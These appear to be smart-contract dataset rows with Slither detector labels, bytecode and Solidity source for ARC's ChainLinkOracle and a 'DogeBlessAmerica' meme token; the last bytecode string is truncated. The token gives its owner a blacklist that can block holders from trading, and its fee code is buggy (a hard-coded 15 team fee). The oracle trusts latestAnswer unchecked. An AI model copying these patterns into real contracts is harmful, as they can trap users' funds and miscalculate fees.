b61234583612200565b946020939093013593505050565b60008060008060008060c0878903121561236b578182fd5b61237487612200565b9550602087013594506040870135935061239060608801612229565b92506080870135915060a087013590509295509295509295565b600080602083850312156123bc578182fd5b823567ffffffffffffffff808211156123d3578384fd5b818501915085601f8301126123e6578384fd5b8135818111156123f4578485fd5b8660208260051b8501011115612408578485fd5b60209290920196919550909350505050565b60006020828403121561242b578081fd5b815180151581146112ec578182fd5b60006020828403121561244b578081fd5b815167ffffffffffffffff80821115612462578283fd5b818401915084601f830112612475578283fd5b8151818111156124875761248761275d565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156124cd576124cd61275d565b816040528281528760208487010111156124e5578586fd5b6124f68360208301602088016126fe565b979650505050505050565b600060208284031215612512578081fd5b5051919050565b6000806040838503121561252b578182fd5b505080516020909101519092909150565b600081518084526125548160208601602086016126fe565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b8183823760009101908152919050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b82811015612608577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08886030184526125f685835161253c565b945092850192908501906001016125bc565b5092979650505050505050565b6020815260006112ec602083018461253c565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261265c578283fd5b83018035915067ffffffffffffffff821115612676578283fd5b60200191503681900382131561268b57600080fd5b9250929050565b600082198211156126a5576126a561272e565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126e2576126e261272e565b500290565b6000828210156126f9576126f961272e565b500390565b60005b83811015612719578181015183820152602001612701565b83811115612728576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea26469706673582212205247e4c96b417a46b43dd6adb45a2ee8907d6e0e1cab9b968b548993464321cc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,894 |
0x36E3049a9748F48ADbe81240805548E787829979
|
/*
/ | __ / ____|
/ | |__) | | |
/ / | _ / | |
/ ____ | | | |____
/_/ _ |_| _ _____|
* ARC: impl/ChainLinkOracle.sol
*
* Latest source (may be newer): https://github.com/arcxgame/contracts/blob/master/contracts/impl/ChainLinkOracle.sol
*
* Contract Dependencies:
* - IOracle
* Libraries:
* - Decimal
* - Math
* - SafeMath
*
* MIT License
* ===========
*
* Copyright (c) 2020 ARC
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma experimental ABIEncoderV2;
/* ===============================================
* Flattened with Solidifier by Coinage
*
* https://solidifier.coina.ge
* ===============================================
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
/**
* @title Math
*
* Library for non-standard Math functions
*/
library Math {
using SafeMath for uint256;
// ============ Library Functions ============
/*
* Return target * (numerator / denominator).
*/
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function to128(
uint256 number
)
internal
pure
returns (uint128)
{
uint128 result = uint128(number);
require(
result == number,
"Math: Unsafe cast to uint128"
);
return result;
}
function to96(
uint256 number
)
internal
pure
returns (uint96)
{
uint96 result = uint96(number);
require(
result == number,
"Math: Unsafe cast to uint96"
);
return result;
}
function to32(
uint256 number
)
internal
pure
returns (uint32)
{
uint32 result = uint32(number);
require(
result == number,
"Math: Unsafe cast to uint32"
);
return result;
}
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
// SPDX-License-Identifier: MIT
/**
* @title Decimal
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMath for uint256;
// ============ Constants ============
uint256 constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Functions ============
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function onePlus(
D256 memory d
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(BASE) });
}
function mul(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, d.value, BASE);
}
function mul(
D256 memory d1,
D256 memory d2
)
internal
pure
returns (D256 memory)
{
return Decimal.D256({ value: Math.getPartial(d1.value, d2.value, BASE) });
}
function div(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, BASE, d.value);
}
function add(
D256 memory d,
uint256 amount
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(amount) });
}
function sub(
D256 memory d,
uint256 amount
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.sub(amount) });
}
}
// SPDX-License-Identifier: MIT
interface IOracle {
function fetchCurrentPrice()
external
view
returns (Decimal.D256 memory);
}
// SPDX-License-Identifier: MIT
interface IChainLinkAggregator {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
// SPDX-License-Identifier: MIT
contract ChainLinkOracle is IOracle {
using SafeMath for uint256;
IChainLinkAggregator public chainLinkAggregator;
uint256 constant public CHAIN_LINK_DECIMALS = 10**8;
constructor(address _chainLinkAggregator) public {
chainLinkAggregator = IChainLinkAggregator(_chainLinkAggregator);
}
function fetchCurrentPrice()
external
view
returns (Decimal.D256 memory)
{
return Decimal.D256({
value: uint256(chainLinkAggregator.latestAnswer()).mul(uint256(10**10))
});
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806367dbf0c51461004657806396a0e5e314610064578063c72312a014610082575b600080fd5b61004e6100a0565b60405161005b9190610364565b60405180910390f35b61006c6100a8565b6040516100799190610349565b60405180910390f35b61008a610179565b604051610097919061030e565b60405180910390f35b6305f5e10081565b6100b061020e565b60405180602001604052806101716402540be4006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012b57600080fd5b505afa15801561013f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101639190810190610236565b61019e90919063ffffffff16565b815250905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808314156101b15760009050610208565b60008284029050828482816101c257fe5b0414610203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101fa90610329565b60405180910390fd5b809150505b92915050565b6040518060200160405280600081525090565b600081519050610230816103e8565b92915050565b60006020828403121561024857600080fd5b600061025684828501610221565b91505092915050565b610268816103c4565b82525050565b600061027b60218361037f565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6020820160008201516102ea60008501826102f0565b50505050565b6102f9816103ba565b82525050565b610308816103ba565b82525050565b6000602082019050610323600083018461025f565b92915050565b600060208201905081810360008301526103428161026e565b9050919050565b600060208201905061035e60008301846102d4565b92915050565b600060208201905061037960008301846102ff565b92915050565b600082825260208201905092915050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006103cf826103d6565b9050919050565b60006103e18261039a565b9050919050565b6103f181610390565b81146103fc57600080fd5b5056fea365627a7a72315820869abf1b06868c0096dceabb18295b596d065ab7c1178122340ae7ce993c98c16c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {}}
| 7,895 |
0x126b5d57fb2cf0faff80fe53b70ee84f94e79131
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/*
DogeBlessAmerica Inu is going to launch in the Uniswap at July 4.
This is fair launch and going to launch without any presale.
tg: https://t.me/Doge_BlessAmerica
All crypto babies will become a DogeBlessAmerica in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogeBlessAmerica is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Bless America";
string private constant _symbol = " DogeBlessAmerica ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601281526020017f446f676520426c65737320416d65726963610000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601281526020017f20446f6765426c657373416d6572696361200000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073fffffffffffffffffffffffffffffffff